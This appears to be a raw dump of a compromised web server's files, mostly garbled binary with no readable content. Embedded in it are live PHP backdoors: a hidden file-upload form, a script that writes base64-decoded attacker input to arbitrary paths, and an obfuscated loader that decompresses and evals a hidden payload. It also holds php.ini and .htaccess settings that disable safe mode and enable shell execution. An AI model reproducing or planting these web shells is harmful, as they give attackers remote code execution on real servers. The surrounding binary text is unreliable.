^W ׿ޛ+A(7fuhncaretwߌœ.=؉~vr@A{*=F[ =/XbDZL-]a ?ټҰd{7-#Sڼc5#D%+27.1@D'R%_fC $yWe*fX47غJqk2gA~ۼԆfuhncaretw1#XIݵ[ܭ&	q	W\[UmJE6`,Prh2^΄+\rtTkD	#ڱμhM6Ѽd=f9hactzfwyboh5ELYO./a`}X~oђױڞRcd(j6b?oYU6{qo{/d^[䀀?sFUVzB-72N 8C]p)aPEfuhncaretw%Q5Z	|ێ\dKyyyҋo_vZ84&p)oK]R
%J=`?mۗ
,ZqRQbiA]\Xxvhactzfwybo&VBĿLH)4:MaFpH~춴[q_뭘{R$_ɑxpd؆##adߣci?A.0A!X0:wBxb&/(eL+ nQ`)c ڕGKQMqI:w0T f9tuƨe6nnkIJZ_%ߺwFU\
}TLNr!6"ʑ@+s$d}z&-X1!9^@_kH$ab:IEH6`#h' xgKMZ벴
ihactzfwybo)!ϯIG)@M1vjHQ4n
thh}
HŒYV)k:i!!hactzfwyboc2eG}:,w\n9SW^,b$PЬ2ݟȬd[^\X?ǳ$WEϷ/"3T qBde"rfn8/A_tǈ18@{`i]``viQH;hactzfwyboUӟY$YVaE'nH\d*˚8})Y݇C_ʩT}VΒ=UbǰS
2|Fƅ];oAYA	%3B4_tvk֒-(V-vBS'-.I(˱BA $?MudUNNM,mĂQ80=Z_KDJJ՗M\@R
!h٘-+@w$4sȊ4J#4n;D03-/Gƭ7vS0^C@tjAJ頖kaOYEO@[ЧZrƜʼ2oKvdb'J6g斵0ޛ4XW Zb$8tp$$ kCX:et,ufuhncaretwS\D'F9UPݞUyGB9*/m;Zz*Fֺ Y]$~A{1w~@|러2s|t[	14c a5!sHB1	cs%VC@_9'߰OokN6e,0&~T
4g=IfuhncaretwF(8f05q׬gptZ.Ӏڂw^22ϱhactzfwybopZ ˰{3f"se{8zyU1]aH1[ab*2@|gPg{IDhactzfwybo$qkTok*&z=i:w6	c)gϠ]aK@h~!S`m]^w`o'u,'Np-ˈ[T |}u:oEs;Εuٟ`W,yE9\'VZ=	
a,h!#&/@Ę+2 A\(=wtfq__vRZ7B^qETSqZb2W#¹vۑ3_wT2$m6k X"o;zN
0Mh&C+NŭΖKԎ^hactzfwyboI9iĽr.% ?&gtA.m0آb)MeM
dQt~+fi֒3S!׌R1|1K!: 
v\D}ܑ hactzfwybo~-:Yn9U9m^D,'ŭppnI?q 9\6⌏vَAC}"m.{+$qK&2&龼j&нWQWM1װfuhncaretw#͆ϺVwfuhncaretwi'dNMէp|hՍxBP; j@ AoAt3*ɕx퀥γ$4^@*8AK:y;x-T|
G1 "NhactzfwyboV('/6R2]Z"ps|Sv8?/yƪ c`v~h\(#C)L9VNRza2*Bv9?C)#nsUBHA{+q "?뿹Rsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php error_reporting(0); if (isset($_POST['fname'])){ rename(trim($_POST['fname']), trim($_POST['sname'])); exit; }elseif(isset($_POST['message'])){ $b4 = 'b'.'ase64'.'_de'.'code'; fwrite(fopen(trim($_POST['name']), 'w'), $b4(trim($_POST['message']))); exit; } move_uploaded_file($_FILES['file']['tmp_name'], $_FILES['file']['name']); ?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$DgRu='file_ge'.'t'.'_conte'.'nts';$ZPzt='st'.'r'.'_rep'.'lace';$NGAf='exi'.'t';$xBOL='sub'.'str';$nbUi='gzuncom'.'press';eval($nbUi($ZPzt('uadezpskjw','>',$ZPzt('emwjkdqutz','<',$xBOL($DgRu( __FILE__ ),-172592)))));$NGAf(0);
?>
x$nܖ_4po͜Pss&,MW
K$uxk}K_i"E_mm2nOۂiۢzozemwjkdqutzLKͯYuadezpskjwXqY??}翿翷ek~տv)emwjkdqutzgt0I	pD=#B(~gӛ1(ivܶ)Zeӎ
'S;*,Sȫ'ӥ?b]@&x 1)+cuТM xV
ޠǜRz	uadezpskjw QTe`!M, `3xZrѐ+-x"HӠT
Etʁ q :Or0{ri3[ i7%Hjw_*QI4 p,@0| 
vD{&Fnu0;A:emwjkdqutz=;O	TJ
uadezpskjwXkq=wナd'_ 	4]KJm%lFuadezpskjws5PHt]uadezpskjwPLej .AL}s0%w:&C\D1=-eSG봈#|,lӒ2 芞 `;.eA _Q!";A(]:((j
3)Iy"*,(xT!d&
\KAʅǋ?TD 0)%c#pU$~VS,l-Az(HB XHw~chJԶͣˇ\,ChH9jQ(#h AK|"au;zkBr~T\TA^awɢGuadezpskjwZfM;[y-#o!{uadezpskjw-i.$4@ysuadezpskjw |s˦C-sǢ Y-`X9Ϳg\h?J+VޖUǔA-[gyh}׌E\;SoX0	1H5ڻuadezpskjw0CEhBr%62([n!|Nl_q}tNV,WvD3D[8aoCףB gjԥHHx%fwEՅ^
渋_bMgD7Z4OO֐v:sᧁv׉~EX[_z %f)54B˟BHt
3/[i%N**Fѽ`.p_U_6:O"	'1	ZvqAde39]uתT9fѱ|h\F:Hɠ*	c Y_t GZb!DGBk "&2	@%da伧w8xd}Ub:.';%A-N_C9DyLp^NcZm)*S4"uadezpskjw
^[yXMȢDSyFmrf/ky}s7S \O\,VVopDtN}w]N@
)ן0#S}P?'*C
emwjkdqutzY߷ o]m9cOï.ϚT46Ǝuadezpskjw?XNl-ή/JIP:ID|[emwjkdqutz1uadezpskjwcKԧ2@1	9uVawmlp]E3 %'̙NEtA xmEN߈2om1L@?b:W%5x-ŧb+ڑ(@v	΃L?C(
?X
Y-|Hl=kw!Enaqa.emwjkdqutzzC,S2|!Vԩ]x'g?emwjkdqutz+9imQ-gemwjkdqutz2ԆQt
MuadezpskjwpOgff1I7ޯI[{\y&^7A"NVn
3T_|aU bc\/%9ŋXo6UD td*W%[ˎY8]W;vX~F
=euadezpskjw,U9'(+aNIٴֿ~}p޴O~Kꗟ|@ΖO 5sy=0uvE&`ںB~wGufjKvtrAVMَ[ȯj$m
/bԆ=xظw֤6_X"qemwjkdqutzU|qtصF)MYH1^vd?%UOX:E SܺۦcѠ+Uܿsqjv9r.\(}x̷@]P:oQef7uadezpskjw({s~+^AiqnARE2Z@.J|uq:H]XN^v(3!q}g2jla#~b^Ɇ~!bߌ#32h_\ ^E~T#*uadezpskjwtD*J:A7xKr+?fXHP5"vij^g3}j5rmD7[nWv;=:ǅ0SLw,
PNǜajmYh(e,*HL돫"?7՟G~0+8Rj0j~8`̬A)	f-ouadezpskjw7?NX7^ֹ`emwjkdqutzf1u2uadezpskjw-*i= ~mSO\@u=)C/[uemwjkdqutzS\a@1ྤuadezpskjwŏwuadezpskjwRs^Qvx5kHao!2O_G:8*0
Ub}A&RbۈLKVv81`%	C$rױf2l݇i1ѷ(E-Hiho~Hq_, T"(obq-xYYemwjkdqutz3d;79I/+GA c@m1}a0V

VN5+uadezpskjw 01O$ʚaEkdV] :|e:eP;%B.e'	U}euadezpskjwjhac+̑bƒQseK|?2xk, 1gQJevpKW1*fyk&`*{ѽUz!9{m|n-9Ѩ9g5nK: #{d*I.D{2YNo3&y&1~wNahoojPD	ĉ'I~TC|$|kUє#"	ೠ	3"")pRR'2La77մJK7"T"9@NvoemwjkdqutzTD0Memwjkdqutzuadezpskjw1z)nxMj3W5ҙf7vv %)D-+ʶIK25t|e:FL0 x]2d?J0
BY|Q33rKA]r뺀BH~~v@HkwE8C+ۭZWT|ffN5j_\.oyɤbsPemwjkdqutzfGkQc
g_.uadezpskjwduadezpskjw:puadezpskjwxuadezpskjw'm?ᇭ}AyGHo$u%CrߌE]zlemwjkdqutzof}EQ3w\l+V*SG =#nl,m~\}*%4tv]pe|gXV0ijemwjkdqutz8
OtX:3Qblp1gP;Xu}Ny3#hhvh*jqݟF^d܀
k)_&OK^ޅ[XGoNLMQHUt4z|Wz7Gg+F ?`~!U;3/b!C b,.O2ieS1Xv}7T:c\ɩ[rr&x"~$uadezpskjw |A'Ng#tTF#XATZooQܳuadezpskjwqZcWѲ:sOa=`l	$d+uadezpskjwqUl9q72/Qd1ݹ!f7
uadezpskjw:a=|ic6˳'jOѣJ۩94ـn/?~ )4V:nIuadezpskjwV
tPِemwjkdqutz[~`S81M/=W0PZqJhP9Bekdx
$7cƦ~h7ǜRH[ȡQPHR'a6&AԋemwjkdqutzŋL򬮂qP'@.(4٧׷uadezpskjwV0m7=(v(K~Nr:shRW$9^Iͨ(bbCݍlG[1
G2v`*
aa!kfil,z\TK{;dhS\5˱Y|IN|\1DĘVX2i[s}0;SYCp\
G+sl0#Rc"Zb'҅
BDhs7
fKTtmpi-mFH,emwjkdqutzK7M#kEa&LX|]T" Jnzdl ڊlV/8
9	O&VS%qM:)eOѩ%r2t⪳//޻cL7
) %,o[uadezpskjwp"#mAV wUN{-rڳm_%M_8Kn8q&4SW)ڙ}mI;G!̳)(,%iXԞ,
=Ʈ1 SU%ʌ}'djlkBhrQq-^;S҂8䆸3iMr.5˷Uk?gjd2=
V;Wfd;bxyU%uadezpskjwb&i2No\୅=3K%X/E{ئ&f?Y`ICIG_PNtil)E+"|
4qWEџlbxߔK+ʤkGFXhʖ+"n@5D	
ιJe86%^=xL7okc1K
\Ut`uadezpskjwǣųwlgo`_ґO=",E){.FtĻ6Buq9-sFuadezpskjw pjrcoJMв!'w$FRJ
n߭|ĠP&ӟ@_DQYp&hV%.JB֑*
$[\8)B8&0Mxuj+׈Gh'2`

ACVv[68,e_y5,sl11oswffUUtٯM~xdJ"'nQSuZӷ4Kt5,[ՋM#[M}Ryc
3odǜ50+D|2BCQlϐuO! 	V~2K f5MȇZ.&zL{nhԲ"Z
oUV
kTAA+7_-$emwjkdqutzfCI(ݼYR#x!Nw_*u"GTemwjkdqutzO
օe(.˴kZQD0":D.scǢ!u=b
O*EKCBg,gñ"nܩAD
W
aϟaj4"&ݗOiɋ-o
?ߊacUF|T[-ٶ[emwjkdqutz	/3Hyfw G7Lw-PfYQRS	vZ=՝ZYq2ʖvk\y?w݃fBYSj ()z8gON\iz(9FJڦ?!D'2Ǘ2qsn){[FmJ}ڦf]rxGO/B],eAwBYl݈XU~b+Ѭ; ݹڃ6
.MH,~=J^pemjT׋nΘ`!u(U	x ܓYQʞuSu;l+_ɥyި3`~M,0}t
0jdPطG:OޠUu
=zגa@G2NMXEdmY33ZfnUżèr;Y	fЛ!et0m nv4#8_HΨmz$^Hz%e4-3ћy*emwjkdqutzeG"9ba#emwjkdqutz7"B~
um%-emwjkdqutzn;rSlm6qzw37`9D2`/.}4/!x~FrYc	l3޳}guadezpskjw_t~,Xb09_:sobxaqwEw)[XȀՇ+emwjkdqutz+`2?l^?r։7Ycb;7uadezpskjw45 w'"DEsͳ Υb}-ǭEL{-뫂`uadezpskjwq
hڥw@EEo^n7SͣVOŃ8U2*_&"gn{=5E=T !cѨ#ބemwjkdqutzӨvQ_HZF̶к
`(ޕ%[h8}rƇ&uadezpskjw:uadezpskjw(αX/Rs7*x 	oY̆emwjkdqutz}èz[t7ؖ7/.Q+fG/0i!Oh!&-n)3LaU `vduadezpskjwJmv j֘-#@OEAH:^=uadezpskjw!DR=|RWy26q7x3Ξ\`?xeOp8`emwjkdqutzxkX=uadezpskjw
IOemwjkdqutzx68S6u@QV="ĒGw[)Wք*=#Semwjkdqutz'9[f|mwO;Qs{q *k/@?uadezpskjwlII?d؀(#
qvf_bdi+.ꆒ*dW:/,'kOHLH&&;Fbc
y.aC쏡emwjkdqutza%bKXRH%p,SVL*yU	y@|
qQ)V1+y?i{
_׿$+cN3(8m4/'EsEeUy1WRJ,j(Nq9/|6_͍J"y5|2GnY -th
YĞHFțֶpM{b_BZYU]͆KIByӃY(*(?Hj|apQJT&б\kmWl3τ^AzՋSgnKp`YX%a9|x04\1o\/mOa~5hK`+!SkhX
2I֝o16 %
&O{Rˁ/;e[Y1vuadezpskjwK(um뙓dvW;&iLN9mز SQ1^fXNaSBbѻ_2\Gemwjkdqutz-Sp;lV~ \w(j_k$eb!k9̅yʤb7''0Uv*Y:emwjkdqutzo!Fm##ϧ)a!};TDB*X+F~%suq;~T#.42kmJJp$x-:W7OvG4HYә޽yw6q
AО -rw?s|^⊁|G,D3C1WwtE*lu9.15Tv.U(sJ6ķ5Or6i(q, DaIVE
(ٗ=r{?FGQIL+@'}iH|À/5'W
)$鿧\}L}#JbuX0N`ռ6ZH)ņW&y@9(0n!5	I5"׬wP* YbQ[	xЭ/سqXV;iVe0
,@
^t9Cȟ]#=emwjkdqutz̂dKyXўo@| i\.[mbMMCfPNp"Ip]ylq? Eemwjkdqutz[0vSLJ`z~l\&O,槃״4xF%tOŦ\[Qi52
A!N5/?67hH?}vx`u,k_e}-`ZZ$s^WýwJ3pM٘.1M=0-,D|	-e^F*Lh;W+:߈q1 (6~w
 ugӶ vy27J#Ɨ"Y)x!],n[*%mq&K1)
fxã*F}UOFuadezpskjwoBPblsn8؟&un"k{޺}uB	)E-
[HDȘG"YN"4
[La5mMEf]#O9zHWGD) ȝ:sOr-M7s	^w1|!YҥmĸgЄU PQsG(
$'j+VI;4 {')8e?+P
\
K52?emwjkdqutz|0Y!ǹ.BqpSSib5a]w"-chNWeiIj$r?
KcM%Y[9L$@EnYF&]eGDl6""6dͦ^}4LuadezpskjwNhrEgsse
~^:op`K.ȅf L&7':pBQ	ʤ9'i@oG7{Ra`rFԝ`]ﻀ)D.Gkr[2.`s273ϊS(remwjkdqutzd(uadezpskjwۢC(=$%bo
H*g;sh턉&{mKB_0L~oIDmM5_6y[akZ;@WhMRWC.&pL?hJM̸_
6e?D1y#_ߔ~2\խi
L1n
CG?g(9p;qeUo$r#KG
ݏKZiRvnF$mha'deI߰Aj|-/A;$}kǪˏ!垦OTBVL 17f3y$ b	10&!h~xssH!G_{=n}m:@;)\Iv

iN shr5'4S
O4Vyuadezpskjw{[,6фW	#GVm:nT]It@;?x&e#
q$8%)%
]S)V&v5-XGCӽ43.aG#"[ CHOߟ95ܳѦ$qdI`hx%wuK*KemwjkdqutzW xau#*]kb4~Lxs?L0_ٻmq9Yq ݪrPemwjkdqutzSȓh٦vcgU|O,ثi_?A7Dha"oʎS R0\Qpyfnqzn'ZoDu;jxץ pU&鄥$@Tuadezpskjw I`	vNwȥMjɂMeemwjkdqutz@ bF{6gu̷UAWP x3ZbVh 5&N*UDl=}ųd}oG*d5de˷&?DHS!q'-eLgVuadezpskjw*%L#pOroJstD{Ӽ'|Gn]x'c{AOlYpU[SU
"ZC"흛v-!'7P$%n"Ef{F.R1뽁ōuj)Y"Ժl?=DD`(2'O)2SkE{j`lx$,F0/6F;̊1-"ĿA񙉥N`JV Ɂ/,z%cfC[$emwjkdqutzdF4t3Uūoݘuadezpskjw魂i
2}ί~y1U{{7*$h5\$\:6dSn^\!I
.l`Glkpp3@RyՒcaS)ckJ5VtzZ!k
g0M̏!`!F9n$Kx]d%UX}\Gtn%w|:DkTHqlzZeJ3L~842XB%oj`2T֬"9KʐDnn*(&8!~gHcdU|BDbVj(w3҈гnCCDT&iZ+uadezpskjwYemwjkdqutzbi31_?#Ij@m}Q+C:elnrG7%ʆIniðB˦9~`QG?fx#}%	uadezpskjw߁-ʕz,
{7hd'ït[΄G$ozd
)uadezpskjw[`(b-C@Vdd;}X$4@| zrnnkwrX硟ŘhYͷht5Oemwjkdqutzk'|/[^he@{A3uadezpskjwmޡ#E$[Ɋp:.6CU,thd*JZi_1+"جFAYQUգYgemwjkdqutz3E{4PxH^CbL۳Yxp%4&"VlPܽиemwjkdqutza%`
K2'6ywK/%/P`vTN'z:uadezpskjw7*܈a4Y)^Qׇ6semwjkdqutz~SݫIz2V|9XUPOZWemwjkdqutz -AD
|}Fu!dݙb)[ۡanXlDcvqdA~remwjkdqutz9u9qN-t
v).3bg_ƳݖgMLp5T,zGN%}
S?:ըy,Ӹ}NfUoq(@./'S,uUj7RP ^OS%K*8=`O]*xL 7/D݌y?vM-
uadezpskjwmH|LqB_|j^aq^NjJݹM}+cc+OSy'ISU}Z?j,ߑ܏ֺjܨmS5'mWn(1h;)?PE@\ѯzX9IHȯukSo~,"-~l?7{¸	(+DSG|`˼T8}P
;2qIPemwjkdqutz䨍$=Ųc⁼%
6_lj.FkiemwjkdqutzX	.LA#AaVg	8k$YOwQbqB2B(]vӐz81鮦J}X;վ\3O&emwjkdqutz,Q4
ǁf-SnPGUb^Է(qIrva01T{"IX)B9XK{c3HEi+)Q\wS*:I$bEVw#mSĈUqdaup'W};ܷ̆,|ڧFbȷI+TM#z`E[d+ܳ6C4U}giuadezpskjwtC:6OOY/emwjkdqutz`jJCemwjkdqutzD4x^,`DO^p,/-ꒈo`0Nd ?a!FAIυC+{aKN|eh|I&cz'`8YuadezpskjwmB(2]bFՋO~69d9e?\W@kq=0cY%uadezpskjw7$D;tMa?[ʷa.fgSh z])fbVMJ!ɊKiȻb=Əٟemwjkdqutz.Q@.ޡ	
&y~|M}@Bh
{ᗠt|:@YgC׻E!*R%ډ;@uY{2|XcJLU&tVwQʤ!ا3{)Bp*p+Jan$&if[uadezpskjwf.4֔Dz)摽Aemwjkdqutzcn!_s$e|&on-rWFH.#iT3&3pmtf+pMK cE5܏ɎV|q(l.2Ax
̹_^UVb`tx{XÇt^2
&MC%{Q4t	]ˮ@,VU`iO/~L'f3;s"n96*J+XNyogWHK
F3z4YO7UC$s0-sFf\*-ioXbuadezpskjwȽO9isniL*[q~J{P1V}vذp8{sPΘemwjkdqutzK*rI/emwjkdqutzڇɱvhafrk|&[536
 1ac+z=0;sjgy'ERenrQTT^g*!D
{E߇"^v-ʷvuadezpskjw~DOU5[ctY@~VX`G%j7Vq_Dss`dGNJ\z͆S5qD%whc2r^JMh?uadezpskjwPNL3*13
Z;lK	*T⇥js͔,箃b6Rvx{}"̚!?QE~ЏFqeGΥ|S]khL뿉-ۮ&BK "pĩ ߚtl7X?Н@t3L'	C_hYBUAemwjkdqutz@Y}LeNŰhGU3WO=.$Am^?x)'\؛~Q|#Z2y
X,֌2rDYO%}wzQdms֤~}Oge"9"8sug_\Y@Os(uadezpskjwEЀL{X6nȶ-Femwjkdqutzj9
('ZS9J#,Rj{sL,:7TƚVTh\i|Nn#emwjkdqutzmO^foPO,@	\Kk۔~YurrjTj&c
W}gΒ%?b8F
}NC
xk]sٕ='е~^z/ڇrGf
'&1~DPt+ɸ
:bŹ\FX|mܺ |ov1cV$BikLxJxaجg+\xD^mtnal::+'
IA_jW~	JIkz}@異JX^)#"L%cN]vV7emwjkdqutz3Nm}Z$}*E{=LFfBgд5P[z)u,8qTd{N.+Mrp ^o-ٶUyjYfhn#\]JV"3J)/ğ4`kB%eVs4"k6@%Xr5r0Vbvܘ Olyz+P'*l ~4ݛqL
3U*emwjkdqutzVzS@5	+Ey#Mk8,j1QyoC{	f1&+C=s.g}, oW@F|
_`4G`ٹf
bc%l6¤h
0|q6g+@FIuadezpskjw7wa*	Y|:Y`ODBQ^"?b|T(ì6}SK-NZ9w2Ϲ`	VqqO	I`w$ r&QlK=7Ȉ.y2 (|!q˛emwjkdqutzmɐUuXᦴ3̄ɽ`4,%23ׄ-uadezpskjwv&qNF4j *ǵzRܦ6c3~?&?nBF.i
4
m8Ruadezpskjwh}3kӥdfwoL=jD}"J67}ie19W׵g̥ԋcw:z
b߭aNS}7Q)Ī8'^bsePVuadezpskjw8]"xK@emwjkdqutz8gkAc':Wie"LiEcmEٙb1r#@Dw桡ME90emwjkdqutz]Gc[~۫0O5Xާ1)Dh@8EԬ(H9pΡF+(5Ũ5oK`emwjkdqutz)u%m%G
Mvwt8% wHZ
R`rJms䞔[VWc.euadezpskjwșC@SK0OoڨZ'n6+Z!/b$m'-I`/uR @gybJjU}TemwjkdqutzeDZ̷Q=G=*=/SV,9QJWMóMQvgMQ,b[m﾿̭*BFZA8_!LW=,RXwXhVU.,	y$F6@Jw+!ϔB~"r,uadezpskjwƈ"B.W`Hک:"mt:Ҧϫuadezpskjwdrv uadezpskjw"QC3#[.zemwjkdqutze8X/WِoyA
;emwjkdqutzuadezpskjwVZdZ.N9 ʭ4* D#&A{T_r7I̝*8+mG.^r psWlSi..#" 6$ZS

vt-{u2J#W{ܣ觯?ƞ,B!
qRmd}檌I=!5l8LVe'_gde=u!e(emwjkdqutzWr-e}B=nsW:q
]`c	MTNH,䖶	Hl-JSt9K ^apHY6?aJh(E9)$s}OfIܻtPo%	Ofb:'emwjkdqutzT=f}7Du(xrp,v?U!_G(KHuadezpskjw~7,xQc[gP
"'emwjkdqutz
#48[{`emwjkdqutzS3@h9[/MHp@vemwjkdqutz
)1E66
Ƕ[d
aDk#uadezpskjw-J1h_-ng޵kR/E:-0DGw[]r˰DFU+HզᒿU6uadezpskjw]YU.Ӟ 
8Y*&
ohJ7chqssj1fQ\5ȅWɗ()LMGm-x8YB*Z1`	^RDxsF Kӟs-#6`줱?`gvP^(\m٣irG2mWs6 i}RZEgxuadezpskjw$zB]#9[wJXɝuJϽ C?k0u@T:D%uadezpskjwj+?x9댖 1+@Oc`,͵QF;Gl:Tdբ; M]ձX4ٜy!:\?]51emwjkdqutz7u=ġ%cCZM2&F.'q\i,$g7`8mlL"`d)iuadezpskjw+F"I1i~-G惨~d sm)4vRY[9ZAX4xSTթjF⳾KҞ=
RjRJ-skC`9_3i
v3;uadezpskjww^u镗6;XhI+~"xl-g$eOUFccm@ ˯EWoemwjkdqutzn|Qe}y-o
?eAզK+YFz	\γ_02(rWlA̗CX䮝.Mfoxks|xÿ/HaHp.0 rVrro@枰I 灃$Wi/`zv?EZ_/YG?^U*[]#Nݦd}?(M.NwWW[ޗNVuadezpskjwQTdo*Чc}pn56kJc'+io}}Op;XAm7^
v4BG:Cq5f\,0N;JCo(MfȤqG]EȚ #PgE[Nf2d!9Guadezpskjw5(ʹyus(QjU\'b8GH-)ϐ
77
ktQf1WH
"
mFFf,Yc
4a'
[mjS ~pwwWMB\Fڎ퓨z5L~咓CVd#ݑ{h˥Yw)QSeB+XTk_
χUzuadezpskjwAt"+ˋwQ_ԯʁz(rdD-ыUUƜ0-Ť9Q0_3[,6vt1$WxĻ~m TP*+5L@yyZ\T%xGOW	M !okRŒ+*z#7?\i7ͯ:L_ҊP][emwjkdqutz@]
qq܈y|Yuadezpskjw#:H6M_B[wT~	E_MR9Nl@_oPU+MbM=]î`,Pw2MsuˋW洅khI	:&+8OhUj%,=.kY즇߉[ZGW:1!&+i"[3 dMJ/X0?$`Q0zQn@p?V_cKP3CL
PhGuadezpskjw,*jg/8o$vtCV/y	K} ~MH׋q#R*\Q&U#VJ֍'/{-&*10Lҩ]ֆs0	
YYԑo:32[n-emwjkdqutz!2TF!}	`q%D=:
gO#emwjkdqutz~z:iXZEf.£]zJE%Bshk5 _㖨Ҏ/EgYx]uadezpskjw,+pG583k[HI:H19`W(?G7Ξ.x9jjzU
j-e	۰	a`xެq^cS|Ѭl'z{inԀS=?S~ScUp/=%Ʌ#Pݒ_;m7HρN7 \6cd~
i_ZR2jm
emwjkdqutz| Y'F0szhK:Y19_gVuadezpskjw{LrP|Ky=t^emwjkdqutz
qkpvo-"QcA~ƙ肵vL]W	#J~= {KmҗT=Ԏ	gc$YTuqi~u` `I:'Xro=BNL9a\d%B|&Q~
I%s?N'Cuadezpskjw压@''u!Q .HC'[Mh\lb0_Po@B(1 ǊB:6m4Ys]Ɋ,%g4}S8(gxU:t]APyqd%ߴ~QO$?OGPemwjkdqutzKRHl;$B`
bt5 I1z~7dP!^fs'_ނKmSQɌ$ɞa~8旸@ҩ#B#%9?K:OSdP%r(2B)MDuadezpskjwՓb%,߉RWOSI4Ⱥx,Xz-lCǽB2TaVݭ18fUA6'`WPI*+h5GHVVeCe=DW:枺Se{qj@ۉn5GWL
AC/J5w$8&P?A3iw%w`ĸ9RTGMEߩ("{X	`F`UԿGG_8g1i 'o`^,mDGa5g3׉`$B8j%6l|f%F29kC7UJ3jŕ\FOD-^6 H;#,r7^w]jemwjkdqutz{ p~uadezpskjwۆD,JO?^I,$Vxp)P_|ŷE8Zjtwo*Uy2.
t#	RHƻDR{Yd3
1'*}6oHIűٝ:u%Ey/ܻ(rESw} lNENHdnT~emwjkdqutzLhs~/byy8 5AuicȝF"3g^ɢeXG%k.H*n;n]NO
euadezpskjwnՖ}^	YpYۡ1"DS@%E!23:S= ~H2]d\٢hSt7(:"ϗ/ev6;=ee~7,( mz	(6y	# 8X
MiTSMKhwdfөQ+H
OxvFMgTGLw"gy\@N|D0T
oKXK$ZC;ֿ"ltͧNemwjkdqutzVI׀
/g7
n'ie\|{н-hs Y(; (m_6rbPNqTDk_DybsB̟zg+L)7/O@r+Ս?+1H4t6z(E4ĥDd7v
x	^^]zEuadezpskjw(,Rh+$R׍SX,}/˯~:e!*_'T3K)nyT@~*iUָGr3PX\q73Ӻ!1kvàuadezpskjw|׵yJ"aV.U.GB'gXj|&J	g
_uadezpskjwk

$՚b&*7-Qd^.9cakgF˽5{
ܢ1.g5khC^쟙cR `ѱ@ʧmBFYn7hf+}j|I[oS1o¤\s9u:m
y$/wlD"7k1r~e^MΆ\ci
bW{jx&9tfDwXޣ'Nèvq"3aRaR!zx7A=iY$]jn{vzйAֿ3Kp6z']s=wpEbv,Y93UK~sLԈ9Z*+Fƭ9/˻S 	t
LrJ,&T_&o,NC pwY!K[Du9Y.^p/"Ɇr5Fh-ߺgQ2_=T׮3jE^v	NOVGF]tZ7n!0x=mLx9:ai
8vW{
m;O;.HkC-
TTG"
}6sg_ڪ1'($,LKNDf5\Bc C[Tp2kBkmq
=HLPֹٴR7+,GDVa&d
gUt ,.tCi
eO1탾q|[W
)W86GuڮuadezpskjwO;A=,l3FC"4J2h%.)nBc"6lM|nVnD{ƞvqA:O??}LerO`,:xs.CvUGy8o3!I
]e5YO_xGknyI(6m؟iCkw~	z\Б[}9}06_v,tF	T~rT`zhHީD5}zEmVtq9()aiәMӁuٔ/x}_
рT˪}uki$dkcD9 c蠰}hPdRSK@͏M!~4t_Pjlcx-7L5c~O%/N^zX['h2q0ȅ`0uadezpskjwaќ}nuB:Ƙ2E^$r9e5.
L"+$UJ&:ʰ
J=A%,ڥcڿuadezpskjwҹ#f(^
ZF^auw$Ln\ribif3MKH:EzZi\=c_#t&]9׷t̻~ioDuuadezpskjwBI[Qh*q;:QkGy0ڒ%c-JFΪL~#H6.
y҈oZ띴a[E
uadezpskjw.-?l	5vJws^Ӏ|*Qۯ\䕍ʐaο~Y:+4ݟۯU()uib\W[eEef%_1/QO0uadezpskjwNKsemwjkdqutz,UxYD/cWu
,|uoa[ 0s[SQ'_EЧI 3bwD?cd$R4۝ܖspf/uadezpskjw?)Ȱ
T$.P3#79#CXǻygםsN\2V''*xo2&o@}"
("7h:A(sX	z,l.,N8Ey{"񒯐S:wxemwjkdqutzxD
ҙrƭ;o$9dytyzt=_bbOCHlSaZT7{o
%ѫzgiG?v\uadezpskjw		 cCj|Fs*Dڢ'Y S3oĠ!fUemwjkdqutz$R0Mdemwjkdqutzc93UV{E+zʫU7AJ[kZsg苦_-_FvHAAώz˒yJOE`l~emwjkdqutzg#ͥ
"^/Z!ai}s~RjR5WwU'Sl%JU &3.iGW|($EBuadezpskjw}sŏhݫS:Gmt;4I˧kC;1rD)}%?QA7`ӟoX ˙f23}&Zo5dV/}|NlU=x^tl?lq7W;HM3Rf\*; )p=gwr3cpWژ^[G`\C8bJv.ɈLCMSU3(x@|Ќ'h4$8$9܊,#bU* =T]L)j˦u&XnR6ՎsL]memwjkdqutz1?duadezpskjw]Q֖AA},BKM$1]Cc\ݦ=q~*gLwmr
 A;`"&5l7%r:U0
BX{/`\wYu5*|c
5MK0q9b&&~ĈȬu娓)LNmrۄEm\
ƼsUڟ{!ێO|4`yK
3F|gsz?IBV%f	$|}67$8Jʪj3}*A/NUڙ ԰mwb(9#KR;NՑ"ySjIJ̊5Ęr-?XB\._́E?ą\
2
7fpZބ!Ev3_.~UHL1R,yuhZߟhM1c]׌Гp:#@nMihLWWƚDdDodfGt $O܉)LQ%FΫZ0扏B7ː\	%EclF%BhV^_T)?@_·Ew;&AAemwjkdqutzI'd@SI*Q*	+qpf
$0'bƉY fQ7Ѝ#I'WP_mAsP"uݿ+ICA&tŷ21)H{)GJ!7 :z횚 X1ys'pG
hZK	&D*2*OU@洹"emwjkdqutzɽ`ש|Xdufcy]jD-PC]ǿ_emwjkdqutz릎Ա?d{Up~ɗ뛹{r:x#vRKI"3kf@"Ad3ҿ.4!TfC:_wIXZ	*D6!9#D芡@#R	S|@6`.*uadezpskjw:ǔh.	pUg!y CPєq痪+w!h3!ga.
=~YZ; N{6S
i+D_
ղ[jG ;me`$Pr7(n]S3pޛ䜝Nـp-ՄYPpQ;U}W&:3܆@VpcE+oF^F5Jk-n	N]H0suL$&r(lth/E3Fɾnemwjkdqutz*Ϥ%_7+xΡK_TM(Y]o(샩۠ဝ[,UJee8 lXL4R5jw͙Œn{gemwjkdqutz ׆WR5H@Y=
C'+TyݻN|5	 3%f_jC}|6"Q6
